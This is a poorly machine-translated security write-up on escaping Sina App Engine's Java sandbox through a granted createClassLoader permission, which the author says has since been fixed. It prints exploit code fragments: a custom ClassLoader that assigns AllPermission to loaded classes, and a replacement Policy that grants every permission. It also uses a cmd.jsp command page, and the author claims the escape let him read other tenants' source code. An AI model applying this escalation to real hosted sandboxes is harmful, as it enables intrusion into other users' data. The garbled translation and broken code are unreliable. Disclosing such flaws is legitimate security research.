SAE Cloud Service Security Sandbox Bypass 2 (using crackClassLoader)

Summary
 
Bypass the Security Sandbox technology, not only by using java Vulnerabilities. In the author's article
SAE Cloud Service Security Sandbox Bypass (http://www.bkjia.com/Article/201207/141874.html)
Java sandbox vulnerability is mentioned in this example. As a matter of fact, after bypass's SAE sandbox, the author switched the target to GAE, but this is very depressing. google is like an iron board, and the author thought a lot of ways and did not solve it. However, looking back, some of the technologies used by the author can be bypass Sina sae again. In this way, the author made a mistake in sandbox setting by the sae developers, bypass the sae sandbox again. (This vulnerability has been fixed by sina)
 
Body
 
View sandbox Environment
 
When we come to a sandbox, we first need to look at the environment. Let's put a JSP and see how the application looks like before bypass.
 
Http://1.cracksae.sinaapp.com/cmd.jsp? Cmd = id
 
Return Value:
 
This is good because the standard sandbox is incorrect. So let's look at the SAE policy file and view the method of the policy file. As mentioned in the previous article of the author, we will not post any code, only view the results.
Access:
 
Http://1.cracksae.sinaapp.com/permission.jsp
 
Start exppermission policyfile: org. eclipse. jetty. policy. JettyPolicy @ 4f2d26d2
| Name: | r.rdc.sae.sina.com.cn: 3307 | action: | connect, resolve |
Name: | export rdc.sae.sina.com.cn: 3307 | action: | connect, resolve |
... There are many...
Name: | createClassLoader | action: |
Name: | accessClassInPackage.com.sun.imageio.plugins.png | action: |
Name: | modifyThread | action: |
Name: | accessClassInPackage.com.sun.imageio.plugins.gif | action: |
Name: | accessClassInPackage. sun. reflect | action: |
Name: | accessClassInPackage.com.sun.imageio.plugins.jpeg | action: |
Name: | getProperty. ssl. * | action: |
Name: | insertProvider. SunJCE | action: |
Name: | putProviderProperty. SunJCE | action: |
Name: | suppressAccessChecks | action: |
Name: |/data1/jetty_work/908/bypasssae/-| action: | read |
Name: |/usr/java/packages/lib/ext | action: | read |
Name: | jar: file:/data1/jetty_work/-| action: | read |
Name: | template/xhtml/theme. properties | action: | read |
Name: | template/simple/theme. properties | action: | read |
Name: |/usr/local/sae/jetty/-| action: | read |
Name: |/usr/java/jdk1.6.0 _ 33/jre/-| action: | read |
Name: |/usr/local/sae/jetty/lib/-| action: | read |
Name: | template/ajax/theme. properties | action: | read |
Name: |/usr/java/jdk1.6.0 _ 27/jre | action: | read |
Name: | velocity. log | action: | read, write |
We can see the following:
 
Name: | createClassLoader | action: |
 
JAVA official instructions on this permission are as follows:
 
CreateClassLoader: This target grants permission to create a class loader. granting this permission might allow a malicious application to instantiate its own class loader and load harmful classes into the system. once loaded, the class loader cocould place these classes into any protection domain and give them full permissions for that domain.
 
That is to say, this permission is very dangerous. Attackers can define a Myclassloader themselves, inherit the classloader, call the classloader method, and generate a class. At this time, they can customize the permissions for the class.
 
Write classLoader
 
So we write exp and define a classLoader:
 
Public class MyClassLoader extends ClassLoader {
First define a classloader, inherit classloader, and write a method "command". This method returns to call AccessController. doPrivileged and request super permissions.
 
Public static String command () throws Exception {
 
Return (String) AccessController. doPrivileged (new PrivilegedAction (){
Public Object run (){
......
 
String String1 = "ExpPermissions2 ";
Byte [] classData1 = {This is the ExpPermissions2 class. The serialized byte array and code are described below .};
Class localClass = null;
Certificate [] arrayOfCertificate = new Certificate [0];
Permissions localPermissions = new Permissions ();
LocalPermissions. add (new AllPermission ());
LocalPermissions. add (new java. security. SecurityPermission (
"*"));
LocalPermissions. add (new java. security. SecurityPermission (
"GetPolicy "));
ProtectionDomain localProtectionDomain = new ProtectionDomain (
New CodeSource (localURL, arrayOfCertificate ),
LocalPermissions );
Byte [] datclass = {here is the serialization array of the MyPolicy class, code, etc .};
Mycl. defineClass ("MyPolicy", datclass, 0, datclass. length,
LocalProtectionDomain );
Try {
Class c = mycl. loadClass (String1 );
LocalClass = c;
} Catch (Exception e ){
LocalClass = mycl. defineClass (String1, classData1, 0,
ClassData1.length, localProtectionDomain );
}
.......
The details include:
 
1. Create a ProtectionDomain and add the allPermissions permission. This means that all permissions are granted.
2. Assign this ProtectionDomain to the ExpPermissions2 class.
3. Create a new class called Mypolicy. This class inherits the policy and is used to add permissions.
 
This is because our current classloader is self-implemented and has not loaded the mypolicy class. Therefore, we must repeat this class to "Create a class, and request super permissions. In the ExpPermissions2 class, set a policy. If the ExpPermissions2 class is not granted the super permission, the policy cannot be set. An exception occurs.
 
Authorization code
 
Let's look at the code of ExpPermissions2.
 
Public ExpPermissions2 (){
AccessController. doPrivileged (this );
}
Public Object run () throws Exception {
Cmdresult = "start exppermission ";
ProtectionDomain domain = this. getClass (). getProtectionDomain ();
 
Policy. setPolicy (new MyPolicy ());
 
PermissionCollection pcoll = Policy. getPolicy (). getPermissions (domain );
Cmdresult + = "policyfile:" + (Policy. getPolicy (). toString () + "\ r \ n | ";
Enumeration enum1 = pcoll. elements ();
For (; enum1.hasMoreElements ();){
Permission p = (Permission) enum1.nextElement ();
Cmdresult + = (p. getName () + "| \ r \ n ";
}
......
The key code is:
 
Policy. setPolicy (new MyPolicy ());
Set policy to our own mypolicy:
Key code:
 
Public MyPolicy (){
P = new Permissions ();
P. add (new AllPermission ());
}
Public PermissionCollection getPermissions (ProtectionDomain cs ){
Return p;
}
Once this policy is set, all the classes in the web application will have all permissions.
After that, you can execute the command and wait for what you want to do. If you do not paste the relevant Command Execution code, you can see it in my previous article.
Let's take a look at the broken permissions and show all the permissions again. We can see that only these two permissions are available.
 
 
 
Now you have all permissions.
 
Run www.2cto.com
 
Then run the following command:
 
 
 
You can read data from other users on the cloud. Let's read the Home Page:

Further, it means that if all the clouds are hacked, this will not be used.
 
Summary:
 
This bypass operation allows the "crackClassLoader" permission to be implemented using the sandbox permission on SAE. After bypassing the permission, the author calls the system command to read the source code of other cloud users. Sandbox, especially for cloud sandbox, security configuration is very important. Many permissions cannot be handed over to users at will. This time with crackCLassLoaer, basically, it is the best way to escalate permissions. In fact, there are many other permissions, which are very insecure. This requires careful consideration before it can be opened to users. Otherwise, it is a disaster.
 
By empty prodigal son heart http://www.inbreak.net Weibo: http://t.qq.com/javasecurity